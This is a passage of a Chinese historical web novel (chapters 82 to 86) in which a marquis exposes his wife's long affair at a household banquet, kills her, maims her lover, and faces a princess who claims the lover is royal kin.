付江在房门被踢开时,就清醒过来了,但忠勇侯速度太快,他还是挨了一脚,疼得脸色惨白。
老夫人见付江被踢,忠勇侯满脸都是要杀人的狂怒,她感觉天都塌了。
满脑子都是救下付江,再也顾不得让蛮奴掩藏身手。
在忠勇侯再欲对付江动手时,蛮奴挡在了付江面前。
老夫人假意劝说,“邦儿,先别伤性命,问清究竟何事。”
忠勇侯心底悲愤交加,这个时候了,母亲还护着他们。
他朝蛮奴怒吼,“滚开。”
动作却故意慢了一拍。
付江趁机裹了外衣翻窗出去。
忠勇侯眸色一暗,“吴冬,封锁全府,本侯要活剐了那厮。”
第82章 柳氏身份,老夫人的秘密
因着忠勇侯的这个命令,吃完宴席本打算离开的宾客们,又吃上了新瓜!!!
侯夫人偷人!!!
还将野男人带到府上,苟且现场被忠勇侯逮个正着!
如今那奸夫裹着一件单衣逃走,忠勇侯正满府搜人呢。
听说奸夫能逃走,还是老夫人帮得忙。
帮儿媳的奸夫逃走,这样的婆婆,众人也是活久见了。
大家不由便想到谢霆舟先前的话,不由感叹这侯府老夫人偏袒柳氏夫人,简直到了令人发指的地步。
太不寻常了。
纷纷同情忠勇侯,有这样一个糊涂至极的母亲,当真悲哀又可怜!
韩子晋记得谢霆舟说过,柳氏与付江有染,莫非今日来府上的那奸夫就是付江?
想到这人极有可能害过自己的妻儿,他眼一转,同众人道,“忠勇侯这些年在战场奋勇杀敌,护我大渊安宁。
却被人劫了后院,那贼子过于可恶,韩某实难袖手旁观。
在场的热血男儿,可有愿意随我一道替侯爷抓人的?”
就算付江没害他妻儿,偷功臣后院也不道德。
韩子晋不愿承认,这些年他心底一直埋怨付江,将他的行踪送来京城,害他与妻儿分离,不得不娶不爱之人。
今日来的男子,大多都是各家年轻后辈,都是热血上头的年纪,听了这话纷纷举手加入。
崔老夫人老眼晶亮,老天眷顾她崔家啊。
柳氏夫人犯这样的大错,命怕是保不住了,侯爷没有正妻,她孙女的机会来了。
她同诸位夫人们道,“侯爷下令满府抓人,只怕也是无奈之举,也不知那淫贼躲去了哪里。
男人们不好去后院搜查,不若我们这些成婚妇人帮忙去后院找找?”
说着话,就拉着两个相熟的中年夫人们一道往后院走,叶桢这个主家自要跟上,其余夫人们最终也都跟上了。
老夫人听到这个消息,脚都软了。
侯府下人已经够多,再加上那些宾客,只怕今日侯府有多少只蚂蚁都能被数清,付江在劫难逃!
可众人掘地三尺却没找到付江?!
老夫人暗暗松了口气,同时也隐隐猜到付江应是躲在了马车暗格里。
她虽不知付江今日为何会来侯府,眠眠那个蠢东西为何又要在这个接骨眼上与他厮混。
但好在付江机灵,知道藏在暗格里。
那暗格做得隐蔽,只要柳氏不说,谢邦他们应该找不到。
想到柳氏,她眼底露出一抹杀意,突然冲上去一巴掌打在柳氏脸上。
“枉我平日觉得你是贤妇,没想你竟做出这等不要脸的事。”
付江安全了,她就有精力挽回自己刚刚的举动,“说,那男人是谁?
你都是几个孩子的母亲了,你行这等荒唐事时,可想过自己的孩子如何自处?
若叫你父母泉下有知,你又如何面对他们?”
柳氏已穿好衣裳,被婆子押在一旁,正惶惶不安,听了这话,瞳孔猛缩。
这么多年,她对外宣称自己是孤儿,实则她的父母家人还活得好好的。
她也不是逃荒来的京城,而是被婆母买下的。
当年,为了将她名正言顺带进侯府,婆母假意制造刺杀案,要她冲出去替她挨刀。
再以她是救命恩人,又无家可归为由,将她留在身边,意图将她配给侯爷为妻。
可侯爷对娄听兰一见钟情,老侯爷也不同意儿子娶她这个孤儿。
在这期间婆母让她接触了付江,爱上了付江。
可婆母拿捏着她的家人,她不得不在娄听兰死后嫁给侯爷做续弦。
这么多年,婆母让她既做付江的女人,又做侯爷的妻。
却在她每次和侯爷同房后,以坐胎的名义送上避子汤,只让她生下付江的孩子。
她并非没有反抗过,可只要她反抗,婆母便会用她的家人要挟,后来,孩子亦成了她的软肋。
眼下,婆母这是又要拿她的孩子和家人威胁她,让她担下这一切。
可是人都想求生,她不想死。
“母亲,我是被人陷害的,我不知道怎么回事,稀里糊涂的就……”
她解释,“当时我已没了理智,看不清来人长相,定是有人给我下药。”
却有一人突然跪在忠勇侯面前,“侯爷,小的曾是云舟少爷的小厮,小的指认夫人,五年前便与外男有染。
当时云舟少爷亦在现场,骂夫人肮脏,为此两人还大吵一架。
事后,云舟少爷关在屋里半月闭门不出,夫人以小的照顾不周为由,命人打断小的腿,将小的赶出了府。
侯爷仁慈,在街上见到小的乞讨,好心将小的收回府中。
可小的怯懦,也没证据,先前不敢同您说实话,今日见夫人这般折辱您,小的再不忍隐瞒。”
“你胡说。”
柳氏没想到被赶出府的人,会出现在这里,“侯爷他胡说……”
忠勇侯怒极冷笑,“柳氏,本侯此次回府察觉你行错太多,罪应当诛。
可顾及孩子们的未来,本侯留你性命,让你在佛堂静心思过,不得装扮,不得奢靡。
你说是有人给你下药,那你这妆容亦是别人给你扮的?”
众人纷纷看向柳氏。
柳氏刚经历情事,眉眼残留媚意,虽妆容画了,但不难看出她曾精心描绘过。
这不是主动偷人是什么?
柳氏百口莫辩,绝望地看向老夫人,老夫人愤怒回瞪她。
蠢货!
连累付江,死不足惜!
“你太让老身失望,邦儿今日如何处置你,都是你该承受的,为了你的孩子们能抬头做人,你也该承受。”
柳氏瘫软在地,她确定了。
婆母的确是要她担下一切!
她伸手去抓忠勇侯,求饶,“侯爷,妾身错了,看在孩子们……”
忠勇侯避开,“你还敢提孩子?”
他知道今日过后,有人同情他,但也少不得也会被人嘲笑做了绿王八。
可几个孩子的身世,老夫人的异常,以及付江的胆大包天都让他清楚,侯府这些事瞒是瞒不住的。
与其遮遮掩掩被人背后嘲弄议论,不如索性闹大了。
因而在查到谢云舟当年是藏在马车暗格,目睹了柳氏和付江的奸情后,对女子的身体起了厌恶反应,改与男子厮混后。
他将知情的小厮秘密带进了府,又故意让人将柳氏晕倒,以及老夫人陷害谢霆舟计谋得逞的事透露给付江。
付江这些年被老夫人和柳氏养肥了胆子,而他谢邦多年来毫无察觉,更是给了付江优越感。
他信以为真,当真来了。
“柳氏,今日你被本侯抓个现行,本侯再难饶你。”
“不要啊,侯爷,求您。”
柳氏哀求。
吴冬大步进来,“侯爷,老夫人的马车有异常,里头疑似有暗格。”
他来请求忠勇侯,是否要动老夫人的马车。
老夫人身子一抖,“老身的马车怎会有问题?”
忠勇侯看了她一眼,让人提着柳氏,“带过去。”
在查谢云舟的事时,得知柳氏马车有暗格,他便想明白当年长子所言为真。
他当真是被柳氏所害,这也是他刚刚故意放走付江的原因。
处置这对狗男女前,他得给长子讨个公道。
忠勇侯到时,马车围满了人。
有年轻后生一脸激愤,“侯爷,马车旁边有血迹,车厢里却不见人,但有气息,这里头定有暗格。”
他是武将家的孩子,身负武功,付江又被踢疼,加之被众人搜捕的紧张,他做不到全程屏息,很快叫这后生察觉了。
忠勇侯颔首走近。
付江逃走后,暗卫一直跟着,因而他一开始就知道他躲在了马车里。
那血迹则是他光脚逃走,一路被划伤所致。
他内力深厚,听到马车内粗重的喘息声和牙齿打颤的声音。
呵!
原来他也会怕。
老夫人脚程慢,火急火燎终于赶了过来,正欲阻止,就见忠勇侯运起内力,一掌拍在了马车上。
马车四分五裂……
第83章 霆桢护父
付江裹着一件单衣蜷缩在众人面前。
他似鹌鹑抱着自己的脑袋,不敢让人看到他的脸。
在青州这么多年,虽只是个县令,但借着侯府地势和钱财,他过成了那里的土皇帝。
唯一的不满意,就是忠勇侯的爵位还没到手。
顺风顺水多年的生活,让他将一切想得简单,却怎么都没想到,他会被人算计,当众抓奸。
“你是何人,抬起头来!”
忠勇侯庄重威严的声音在付江头顶响起,他不由打了个颤。
付江不敢抬头,不只是恐惧。
从他知道谢邦这个人起,他就在心里将两人暗暗做比较,他轻蔑忠勇侯好愚弄,但骨子里却是自卑的。
无论家世能力他都不及谢邦。
因而他让谢邦替他养孩子,睡谢邦的女人,用谢邦的钱财,以此获得优越感,
他从没想过谢邦会发现,故而他一时没了应对之策。
但脖子上的冰冷长剑,自带肃杀和死亡气息。
他失禁了!
“真是个没种的,敢做不敢当。”
有人讥笑出声。
老夫人看到付江这样子,心疼极了。
她挡在付江面前,同忠勇侯道,“邦儿,家丑不外扬,先让宾客们散了,我们关起门来处理此人。”
忠勇侯神情冷冽,“此人与柳氏多年前便有染,今日更是在本侯眼皮子底下苟合,嚣张狂妄,就差在本侯头上拉屎撒尿了。”
他第一次在老夫人面前展露天子重臣的气势,以及武将的耿直热性。
“在本侯不知道的这些年,他们还不知撒野到了何种地步,只怕除了本侯,不少人都已知情。
这丑本侯要如何遮?母亲这般阻拦,究竟是为侯府考虑,还是要包庇这二人?”
老夫人自然是想救下付江,可她也知事情到这个地步毫无他法,她只能仗着母亲的身份撒泼。
“谢邦,你是气疯了不成,母亲所做皆为侯府,你竟敢质疑自己的母亲。
这满京城哪家后院没有腌臜,可你见谁同你一般闹得天下尽知?
你不为侯府考虑,也得为瑾瑶他们考虑,他们可都是你的亲生骨肉,你就忍心见他们被这祸事牵连,毁了余生?”
忠勇侯以往最是看重孩子们,老夫人本想以此说服他。
却不知忠勇侯已经知道孩子们的身世真相,这恰恰是戳了忠勇侯的痛处。
忠勇侯忙闭了眼,紧了拳,生怕自己一个没忍住直接掐死了老夫人。
可大渊以孝治天下,纵然老夫人再荒诞,只要她是他的母亲,他若敢当众弑母,他和侯府也毁了。
他还没查明老夫人和付江究竟怎么一回事,没查明疼宠他的父亲为何要骗他。
忠勇侯不甘心。
他亦答应长子,要替他护着那个人,那是长子七岁后第一次求他,他不能同他失言。
还有叶桢,这孩子被柳氏算计入府,苛待多年,亦不该再连累她卷入这无妄之灾。
内心极致的拉扯,让铁血男儿刚硬的脸上落下一行清泪。
叶桢心中触动,大步走到忠勇侯身边。
“祖母此话偏颇了,闹笑话的不是父亲,不为孩子考虑,牵累自己孩子的更不是父亲,父亲他是受害者。”
叶桢指向那破碎的马车,“这本是婆母的马车,孙媳坐过一次,都不曾发现里头有暗格。
这贼人却轻车熟路地藏在马车里,可见他早已知晓马车有藏身之处。
趁着父亲在外征战,随同婆母入府,鸠占鹊巢,别说父亲,便是我等都义愤填膺。
还望祖母多体谅体谅父亲,让他出了这口恶气,莫要再往他心口插刀。”
老夫人横眼,正欲骂叶桢多事。
与叶桢同一时间,走向忠勇侯的谢霆舟眉眼一沉,却是轻笑出声。
“听闻前些时日,柳氏在庄上思过时,屋里疑似出现男子,父亲抓人时,是老夫人及时出现阻拦,说那人是蛮奴。
如今想来,只怕当时那人就是眼前这厮吧,老夫人为何包庇他?”
“谢霆舟,你敢污蔑自己的祖母。”
老夫人怒极,也慌极。
谢霆舟却淡淡道,“有没有冤枉,审一审蛮奴便知。”
他手一挥,邢泽上前抓人,蛮奴仗着自己人前是傻子,奋力反抗。
一众热血后生纷纷帮忙,蛮奴被擒,带了下去。
谢霆舟并非真正需要蛮奴的供词。
老夫人谋害长孙的事刚被揭露,又护着奸夫逃走,谢霆舟再说出庄子一事,众人心里都有答案。
庄上那人就是眼前人。
谢霆舟却能趁机断了老夫人的臂膀。
老夫人目眦欲裂,“你们,你们当真都疯了。”
忠勇侯被老夫人伤透的心,因着叶桢和谢霆舟的维护,回了一丝生机。
他看也没再看老夫人,长剑高举,用力挥向了付江。
“不要!”
老夫人嘶吼阻止。
付江吓的跌坐在自己的尿渍里,却不知忠勇侯此举只是逼他露脸。
他五官不错,养尊处优多年,竟养成一派儒雅相,但眼下他面色发白,双眼惊恐,嘴唇不受控制的颤抖着。
怯懦,狼狈,畏缩,十足的小丑样。
众人见是陌生脸孔,纷纷议论他是谁。
韩子晋一脸惊讶,“付江付县令?怎么会是你?”
有人迫不及待问,“韩驸马认识他?”
韩子晋顺势说出付江身份。
得知付江竟是青州县令,有人就想到,“侯府老夫人这些年不是也在青州?”
忠勇侯看向老夫人,“母亲可有解释?”
老夫人气喘如牛,是被吓的也是被气的。
“你想要母亲解释什么?”
她一脸失望,“你宁愿相信两个晚辈,都不信脚踏鬼门关,辛苦生下你的母亲,你还要我说什么?”
老夫人先发制人,反而指责忠勇侯。
而后指着柳氏,同忠勇侯道,“你有质问母亲的功夫,不如问问你的好夫人,何时勾搭了外男。”
她将矛头转向柳氏,心里盘算怎么救下付江。
柳氏也被忠勇侯那一剑吓坏了,她害怕那剑下一刻会砍向自己的脖子。
可她被老夫人操纵多年,不敢忤逆已刻在骨子里。
她解释自己装扮是为了重获丈夫的心,只是被人趁机利用陷害。
这是她一路过来想出的对策,如实说出自己打扮的目的,但坚持是被人下药,否认背叛了丈夫。
她想在不拂逆老夫人的夹缝里求得生存。
忠勇侯心里已然明白,老夫人这些年偏心柳氏是幌子,真正偏疼的是付江。
庄上那晚,她阻拦他搜人,护的也是付江。
如今要为了付江,弃了柳氏。
他不愿再看婆媳俩演戏,只想早些还了长子公道,就解决了这对奸夫淫妇。
谢霆舟知他心思,朝扶光看了一眼。
扶光走出人群,跪在忠勇侯面前,“侯爷,小的要替我家世子喊冤。”
他将当年世子被害毁容一事,大声说出,而后指着那马车。
“这马车是夫人的,夫人当年定是将世子藏在暗格带出寺庙,弃于大火中,求侯爷让夫人坦白罪行,还世子一个公道。”
第84章 柳氏死,付江被救
柳氏偷人罪名还没洗清,怎会再认下谋害继子之事。
可忠勇侯问她,“你那马车的暗格究竟是用来害霆舟的,还是用来藏男人的?”
散发寒芒的长剑指向了柳氏的咽喉。
老夫人替她做了选择,“你个孽障,枉我感念你救命之恩,那般信任你,你却想谋害我的长孙,还处心积虑在马车定制暗格,你怎能如此恶毒。”
她反驳叶桢刚刚的话,给暗格用途定了性。
“亏我一把年纪还要撒谎,更是被亲儿亲孙误会,也要替你瞒下那毒药一事。”
她气急败坏,又失望至极地去捶打柳氏。
“我想着崔家姑娘老实,与霆舟经历相似,定能照顾好霆舟,可霆舟未必看得上她。
你知我心思,献计让他们生米煮成熟饭,并给我那瓷瓶,说是助兴药,我信以为真,谁知你如此狠心,给我的竟是剧毒。
就算如此,老身依旧不曾出卖你,只因这些年我将你当亲生女儿,可你就是这样回报我的?”
她竟将毒药一事,也推到了柳氏身上。
老夫人说这些时,脸不红心不跳,全然一副这才是真相的理直气壮。
她自觉了解人性,就算有人不信她这些解释,时日一长,真相会慢慢模糊,出现两派言论。
忠勇侯第一次见识到母亲的厚颜,觉得从前的自己眼盲心瞎。
叶桢对老夫人刮目相看,老夫人真够无耻,又内心强大。
柳氏听了这些话,则在想继子还活着,她承认当年是自己糊涂,或许侯爷还能留她性命。
但男人最在乎自己的面子,若她和付江的事被判定,那她定然没活路。
她更清楚老夫人想救付江,若付江也是被害,老夫人就有了救下付江的理由。
思及此,柳氏牙一咬,承认了,并详细说出当年谋划。
可他忘了还有个付江。
虽早有猜测,忠勇侯亲耳听到,还是无法维持平静。
他咬牙又问,“霆舟那些年的恶名,亦是你所为,是或不是?”
连谋害继子都承认了,捧杀造谣就没瞒的必要,柳氏点头,“是,都是妾身所为。”
“所以,我儿霆舟并非顽劣、蛮横、不学无术,不敬长辈?”
扶光泪目,“侯爷明鉴,世子打小勤奋好学,循规蹈矩,在被害之前,世子对老夫人和夫人亦从来都敬重。
是夫人故意指使小厮带世子去酒坊赌馆,甚至烟花柳巷之地。
世子不曾动摇一分,因而夫人才更容不下他。”
众人哗然。
柳氏夫人从前装得人模狗样,竟这般恶毒。
柳氏头垂下,“是,都是妾身刻意打压、捏造。
妾身知错了,妾身后悔了,再也不敢了,但妾身今日真的是被人陷害。”
她想着坦白从宽,却见忠勇侯的剑锋一转,抵在了付江咽喉。
“是你勾搭柳氏,还是她先主动?”
剑是皇帝御赐,削铁如泥,只一碰触皮肉,鲜血便流了出来。
付江满眼惊恐,担心持剑人稍稍用力,长剑就会刺穿自己的喉咙。
他忙指向柳氏,“是她,是她去青州看望老夫人时,逼迫下官。
下官早有娶妻,家中儿女双全,根本无心,可她是侯府夫人,她故意寻下官麻烦,下官害怕不得不从。”
“你……”
柳氏不可置信。
她爱了多年的男人,会为了求生如此污蔑她。
忠勇侯的声音又响起,“她何时勾搭的你?”
付江眼珠乱转,“几年前,具体时间下官不记得,但下官记得是她要借住县令府,半夜召小的去陪他。”
眼下来看,老夫人根本护不住他,只能先牺牲柳氏了。
但实情也不能说,否则孩子们的身世就暴露了。
柳氏这人没什么良心底线,唯有在意家人和孩子。
他希望柳氏看在孩子们的份上,保下他,至少也要为他多拖延些时间。
前些时日,他从老夫人这里偷走了一样东西,那东西能救他的命,还能让他往后前途光明。
只要对方在谢邦动手之前赶到,余生,谢邦再也不能拿他如何。
若他今日实在不能逃脱,老夫人将来也能告知孩子们真相,让孩子们为他报仇。
但他不确定,忠勇侯会不会信他的话。
可忠勇侯却没再问了,他冷笑看着柳氏,“你还有何狡辩?”
柳氏想狡辩,但老夫人威胁的眼神瞪了过来。
她知道自己完了。
付江说他在青州另有儿女,亦是在告诉她,他可以不在乎京城的孩子。
她如果敢说出实情,拉付江一起,付江定也会说出孩子的身世。
没有哪个男人能容忍妻子背着他,生下别人的孩子,那样,她的瑾瑶和澜舟怕是也没命活了。
柳氏瘫软在地。
怎么会这样?
她怎么会落得如此地步?
是叶桢!
对,一切都从叶桢反抗开始,从那之后她一直在走下坡路。
否则,她如今依旧是高高在上的侯夫人。
只等她的云舟袭爵,她的余生只会更加荣光,是叶桢害了她。
既然她活不了,那叶桢也休想好过。
她突然起身,大笑,看着忠勇侯,“是,我是荡妇,我不止勾引了付江,早在成婚时,我便勾引了别的男子,云舟……”
云舟他便是我与别的男子所生,所以,你如今器重的叶桢根本不是你的儿媳。
你该将她赶出府去!
噗嗤!
是长剑刺入皮肉的声音!
忠勇侯意识到她想说什么,直接用长剑贯穿了她的身体。
若让柳氏将话说下去,让世人知道叶桢不是侯府儿媳,他这个公爹再留下叶桢,难免叫人猜忌他们公媳关系,于叶桢名声不利。
可若让叶桢出府,叶家不是叶桢依靠,她将难有容身之所。
忠勇侯暂没想好对叶桢的安排,因而他先杀了柳氏,本也是要杀的。
柳氏想害叶桢,可她再也说不出来了,不甘心地往下倒去。
一枚暗器不动声色打在她身上,她直直栽向付江。
那暗器本是谢霆舟用来了结柳氏,阻止她乱说话的,忠勇侯先行动了手。
血糊的女人砸在身上,付江惊惧更甚,尤其忠勇侯拔了剑,看向他,他绝望地看向老夫人求救。
老夫人心狠狠颤了一下,正欲开口阻止,有人比她更快。
“谢侯爷,你不能杀他。”
康乐公主带着一众人疾步上前。
付江长长舒了口气,他的救星到了!
他将柳氏推置一旁,开始整理自己的外衣。
忠勇侯的剑只顿了一下,就继续刺向付江,他只当没听到康乐的话。
却被人挡下,那人是皇家暗卫!
忠勇侯眸色一震,转向康乐,“公主这是何意?为何要插手我侯府家事?”
康乐上前,“谢侯爷,本宫无意与侯爷为难,相反,本宫今日走这一趟,亦是为侯爷考虑,此人杀不得。”
“一个混入我侯府为所欲为的淫贼,本侯为何杀不得。”
康乐走近,将掌中一物举到忠勇侯面前。
谢霆舟看清那物,瞳孔亦是一震。
叶桢不认识,只隐约看见是枚类似玉佩的东西,但她知道这东西定有来头,因忠勇侯垂下了手中剑。
康乐微笑,“付江之错,来日会有人给侯爷交代,但今日本宫要先带他离开,还望谢侯爷成全。”
忠勇侯定定看着那东西,不语。
付江小人得志,已从地上爬起,走到了康乐身边。
康乐打量他,蹙了蹙眉,示意旁边护从脱了鞋袜给付江。
付江挑衅的看了忠勇侯一眼,正欲穿鞋时,两道寒光闪过,他整个人矮了一截。
是忠勇侯和谢霆舟同时出剑,一人砍了他一条腿。
父子俩齐齐收势,冷眸看向康乐。
忠勇侯抽走谢霆舟手中剑,挡在他前面,“无论付江是何身份,他欺本侯在先,本侯今日绝不能让他全须全尾离开。
公主说有人会为他的错,给本侯一个交代,那便交代了再来要人。”
第85章 非凡身份
付江被砍断双腿,痛喊几声后晕了过去。
老夫人悲痛欲裂,却迟疑着没敢上前。
康乐的出现让她明白,付江虽没了一双腿,却性命无忧。
否则,刚刚忠勇侯父子的剑就不止是挥向膝弯,而是付江的心脏了。
既能保住命,她就不能过多暴露自己,只手指死死掐着扶着她的婢女。
心里一边焦灼康乐怎还不替付江请医,一边思量康乐给谢邦看的是什么。
竟能唬住谢邦,要知道谢邦从小被他爹惯着,可是天不怕地不怕,一根筋的很。
康乐没想在这给付江找医,她想的是尽快带人离开。
可忠勇侯府的护卫将付江团团围住了。
这是不给交代,就不让她带人走的意思了。
“谢邦,你可知他是何人?”
康乐愠怒。
她没想到忠勇侯在认出那玉佩后,还会动手,一点情面都不给。
谢霆舟冷声,“按大渊律,通奸被抓,本夫可当场诛杀奸夫淫妇,官员犯通奸罪加一等。
公主的意思,只要身份不凡便可知法犯法,随意折辱他人?”
“本宫并非这意思。”
康乐一再被下脸面,面色十分不悦,“可付江他身份特殊……”
“只凭一块玉佩,公主便说他身份特殊,微臣倒是好奇,那究竟是何玉佩?”
康乐给忠勇侯看时,是背对着大家的,便是不想过多人知晓。
毕竟付江今日所犯之事的确上不得台面,要护他实在有包庇之嫌。
她不能让背后之人被世人议论。
可付江人已经晕过去,不及时救治,恐会失血过多而死。
她更信不过侯府的大夫,担心忠勇侯会趁机要付江性命。
只得再次亮出玉佩,沉声道,“这并非普通玉佩,是皇祖父仁昭帝亲手所刻,赠于和亲的和义大长公主。
并承诺只要大长公主以此玉佩为信,大渊便会不惜一切代价接大长公主回朝。
当年大渊突发瘟疫,大半百姓感染,连皇祖父和几位皇子都不能幸免。
是即将成婚的和义大长公主,也就是皇祖父的胞妹,烧了嫁衣与心上人退婚,主动和亲换取解药。
四十五年前,和义大长公主丧夫,带着一双儿女回国,路遇兵灾,为救大渊百姓她与儿女失散。
那玉佩被大长公主给了长子,连同她的一双孩儿皆失了音信。”
先皇荒废朝政那些年,也是大长公主主持朝政,最后扶持当今陛下上位。
故而大长公主在朝中地位极高,论辈分,她还是当今皇帝的姑祖母。
“大长公主为大渊奉献一生,这些年皇家从未放弃帮大长公主寻人和玉佩的下落,却始终未果。
本宫前些时日在付江身上发现此玉佩,已交大长公主确认,这枚玉佩就是她那一块。
而付江亦道这玉佩是他母亲留给他的,付江极有可能就是大长公主的后人。
如今大长公主八十高龄,缠绵病榻,不便行动,让本宫将人带去给她瞧瞧,还望忠勇侯行个方便。”
谢霆舟自然是一早就认出了这玉佩。
大长公主儿女出事时,仁昭帝发动满朝文武为她寻人。
临终前,更是让当时的太子床前立誓,务必以大长公主为尊,只要大长公主的孩儿一日未寻回,历代皇帝就得一直帮忙找下去。
从仁昭帝至今,已历经四代帝王,这个任务也被传了下来。
虽后面的帝王对此事不及仁昭帝上心,但皇室卷宗里有这玉佩的画像,对朝中重臣来说,并不陌生。
可,“只凭玉佩如何就能断定付江是大长公主的后人?”
毕竟当年遭遇兵灾,极有可能逃亡过程中,玉佩丢失或被盗。
且他觉得太巧了,既是拥有玉佩几十年,付江怎的现在就被康乐看到了?
韩子晋亦道,“大长公主深明大义,怎会有付江这样下作卑劣的后代。
说不得这玉佩就是他偷的或捡的,康乐,你别被他蒙骗。”
他稍稍低了声音,同康乐耳语,“混淆了大长公主血脉不说,也叫功臣寒心。
连与妻子通奸的淫贼都不能处置,将来若有战,武将们如何安心前往战场?”
康乐沉吟,问忠勇侯,“那侯府打算如何?是或不是总得让他先活着才好问明。”
她此番前来,有意讨好大长公主,但驸马提醒的也对,忠勇侯亦是大渊功臣。
强行带走付江,只怕会引得朝中武将不满,说不得到时候皇帝亦会怪她。
忠勇侯打了个手势,忙有大夫上前为付江止血。
康乐那番话,他的确不好再当众要付江的命,大长公主当年救了大渊所有人的命,包括他谢家祖宗。
可若让她将人带走,无论付江是或不是大长公主的后人,以大长公主对儿女的思念,只怕看在付江拥有玉佩地份上,也会保他。
忠勇侯没想过让付江活,大长公主是大长公主,纵然付江是她后人,那也不是付江对谢家有恩,何况刚刚没杀他已算还了大长公主的恩。
但大长公主对一双儿女的执拗,他也有所耳闻,难保老人家不会为了执念晚节不保。
他得证明玉佩并非付江的,甚至找到他不法得到玉佩的证据。
是的,他和谢霆舟想法一致,觉得里头有蹊跷。
他的诉求刚已说得明白,没必要再重复,沉默着看向康乐。
老夫人在听到康乐说玉佩时,便处于震惊之中。
那玉佩……那玉佩明明是她藏了几十年的,怎的到了付江手里,还被康乐发现,牵扯出大长公主……
她一直知道那人是贵人,可怎么都没想到竟是大长公主的女儿。
怪不得,怪不得老侯爷他……
思及此时,韩子晋正好骂付江下作,将她从震惊中拉回了神。
她替付江愤怒,铿锵道,“付江就是。”
虽恼恨付江偷走玉佩,可事已至此,她只能替他坐实身份。
“他母亲生得娇贵动人,却沦为屠夫之妻,还未及笄便大了肚子。
相熟后,我才知她是与兄长一起逃难,兄长为护她身受重伤,为了给兄长医治,她嫁给屠夫。
可当时兵荒马乱,屠夫家底有限,药材也稀缺,她兄长还是未能活命,屠夫却将她看得紧。
她给我玉佩,让我带着玉佩去官府,说就会有人来救她,可我刚出门就被屠夫发现,玉佩也被他抢了去。
后头她难产而死,屠夫带着孩子离开,我也跟着侯爷随军。
多年前我去青州修养,认出与屠夫容貌相似的付江。”
老夫人此时终于不再掩藏眼底的悲痛,“老身始终愧疚未能救她,因而对她的孩子多有看顾。”
康乐问道,“老夫人可知她名字?”
“念溪。”
老夫人似陷入回忆,“她不得出门,托我替她买纸钱烧于亡兄,她告知我她亡兄名讳,忆渊。”
康乐神情激动。
大长公主远嫁后,为寄托思乡之情,私下另给一双儿女取了大渊的名字。
忆大渊,怀念家乡溪流。
老夫人说的便是大长公主取的名字,因她一双儿女还不曾回到京城,因而知道这名字的不多。
连付江都没提过此事,可见老夫人当真是认识念溪。
她又急急问,“老夫人可记得与她相识是哪一年?”
“刻骨铭心。”
老夫人神情复杂,似又带着一丝不敢回忆,“她难产时我就在隔壁,是四十四年前。”
大长公主与女儿失散是四十五年前,念溪流落在外嫁于屠夫,怀胎十月,难产于四十四年前。
时间也对上了。
康乐沉沉吐出一口气,转身进了皇宫。
第86章 叶桢暴露
“母亲所言为真?”
康乐离开后,忠勇侯问老夫人。
老夫人恨他砍断付江的腿,冷笑,“亏你还知我是你母亲,我的劝诫你可曾听过。”
忠勇侯无意听她扯别的,问出心中疑惑,“母亲既愧疚,这些年为何不曾见你替她寻找家人?
侯府虽无广大神通,想来也能帮上一二。”
这不合常理。
忠勇侯觉得老夫人又撒谎了。
若付江只是旧人之子,她何必遮遮掩掩,又有谁因为愧疚,帮外人给自己儿子带绿帽的?
老夫人如今下定决心要帮付江演到底,就不会对忠勇侯多透露一个字。
“侯爷是大忙人,老身怎敢劳烦。”
她阴阳怪气。
忠勇侯更笃定心中猜想,知道问不出,索性不问了,让人将柳氏尸体抬走,对众宾客拱手。
“今日多谢诸位仗义伸手,改日本侯再答谢。
在诸位离开前,本侯还有一事,想请诸位帮忙见证。
“儿媳叶桢被柳氏磋磨多年,本侯身为长辈多年来毫无察觉,深感愧疚。
这些时日,这孩子将侯府打理得极好,对本侯亦是孝顺恭敬。
也是近些时日的接触,本侯才知叶惊鸿很是在意这个侄女,多年书信教导,战死前亦记挂她。
本侯身为惊鸿好友,自该关照她在意之人。
故本侯今日决定,将这侯府一半家产赠于她名下,无论将来出现何变故,她都是侯府儿媳,这侯府永远是她的家。
若往后她能得遇良人,本侯会以她父名义欢喜送她出嫁。”
叶桢愕然,又动容。
忠勇侯提前安排她,是打算公开谢云舟他们的身份。
他要与付江公开为敌,亦或者他做好了与付江身后人对立的打算。
这样的情况下,忠勇侯还有心思考虑她的未来,且细心地给她留了退路。
侯府无恙,叶桢可永居侯府,若侯府有难,他则能将她及时嫁出去,让她不受侯府牵连。
叶桢又生出一丝羞愧。
“父亲,叶桢不能要。”
她对忠勇侯只有利用,如何配得这些。
忠勇侯摆手,“这是你该得的,本侯主意已定。”
老夫人震怒,“你果然没将我这个母亲看在眼里,老身还没死,侯府的事你就不必通过老身了?”
侯府是她孙子的,怎能给叶桢。
忠勇侯一副你刚刚不搭理我,如今我也不必搭理你的神情,只当没听见老夫人的叫喊,低声安排吴冬着手去府衙办理手续。
众人也是震惊。
崔老夫人是眼红又心疼,“这自古家产都是留给子孙后代的,还不曾有将家产赠于儿媳的,这对世子和澜舟公子是否不公平。”
柳氏死了,她孙女极有可能成为正室夫人,那生下的孩子就是嫡子啊。
就算不扶正,不是嫡子,这侯府的家产也有他一份,他的就是崔家的,怎能被分出去。
谢霆舟笑,“侯府是祖父传给父亲的,后头父亲自己屡立战功又得了不少恩赐,才让侯府有今日这局面。
父亲自己的东西要如何分配,本世子不会有任何意见。”
言下之意,我这未来侯爷都没意见,你们就不必想太多。
崔老夫人不甘心,偷偷掐身边的崔易欢,想让她出来说几句。
可崔易欢怎会说,她了解忠勇侯,他既这样决定,定然是认定叶桢值得。
谁说都没用,何况她的霆舟也同意,她自不会与儿子唱反调。
皇宫里。
康乐在皇后的凤栖宫见到了皇帝,她到时,帝后正在听人汇报侯府的事。
见到康乐来,皇帝问,“康乐可是要朕给忠勇侯施压?”
他和忠勇侯年纪相仿,都是四十多的年纪,但因深居皇宫,身形不及忠勇侯结实,脸却是比在外打仗的忠勇侯年轻许多。
康乐被说中目的,点头,“皇兄,大长公主这些年对康乐颇为照顾,康乐想报答她。
可康乐鲁莽,行事不周,让事情进入僵持局面,康乐实在担心大长公主得知孙辈被伤,会病情加剧,只能前来求助皇兄。”
“付江犯事在先,大长公主是朕的亲姑祖母,忠勇侯也是朕的功臣。”
皇帝微笑,“康乐,你这是给朕找了个大难题啊。”
康乐脸色微白,“康乐知错,是康乐冲动了。”
皇后替康乐解围,她轻拍皇帝的手,“好了,康乐也是一片孝心。
若那付江当真是大长公主后人,康乐也算替皇家立功了。”
她又看向康乐,“不过,你既有线索,不曾禀明陛下,而是贸然前去要人,的确冲动了。
